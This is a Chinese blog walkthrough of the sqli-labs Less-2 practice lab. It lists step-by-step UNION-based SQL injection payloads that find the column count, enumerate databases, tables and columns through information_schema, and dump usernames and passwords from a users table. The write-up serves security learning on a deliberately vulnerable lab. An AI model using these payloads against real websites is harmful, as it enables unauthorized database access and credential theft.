mysql less2_sqli-labs-master[Less-2]解题过程

id=1

1.正常显示

id=1'

2.错误回显

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB #server version for the right syntax to use near '' LIMIT 0,1' at line 1

'' LIMIT 0,1'表明:查询语句应为id传参应为int型,不需要'做闭合

MariaDB server显示数据库信息

id=1 --+

3.注释limit 0,1

MySQL注释方法

①/*注释内容*防止和谐/

②-- (前面有空格)URL中空格需要转义--+或者--%20

③#防止和谐

id=1 order by 4 --+

4.猜字段数量

Unknown column '4' in 'order clause'

错误情况下,会给出如上信息;正确情况下,正常显示

id=1 and 1=2 union select 1,2,3 --+

5.确定回显位置

id=1 and 1=2 union select 1,version(),database() --+

6.查看版本信息verion();当前数据库database();当前用户user()

id=1 and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata--+

7.调用information_schema.schemata返回数据库信息

group_concat()函数,拼接所有非null字符串;null的情况下,返回null

convert()函数,转换类型

id=1 and 1=2 union select 1,group_concat(table_name),group_concat(table_schema) from information_schema.tables--+

8.调用information_schema.tables返回表信息

table_name表示:表名

table_schema表示:数据库名

id=1 and 1=2 union select 1,table_name,group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273--+

9.调用information_schema.columns返回表中列的信息

table_schema表示:数据库名。用作where查询时,需要进行十六进制编码(hex编码)

table_name表示:表名。用作where查询时,需要进行十六进制编码(hex编码)

column_name表示:列名

privileges表示权限:增删查改

id=1 and 1=2 union select 1,2,concat_ws(0x2b,username,password) from users--+

10.输出关键表信息

concat_ws()函数,以指定字符【拼接】指定内容

0x2b表示:+

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值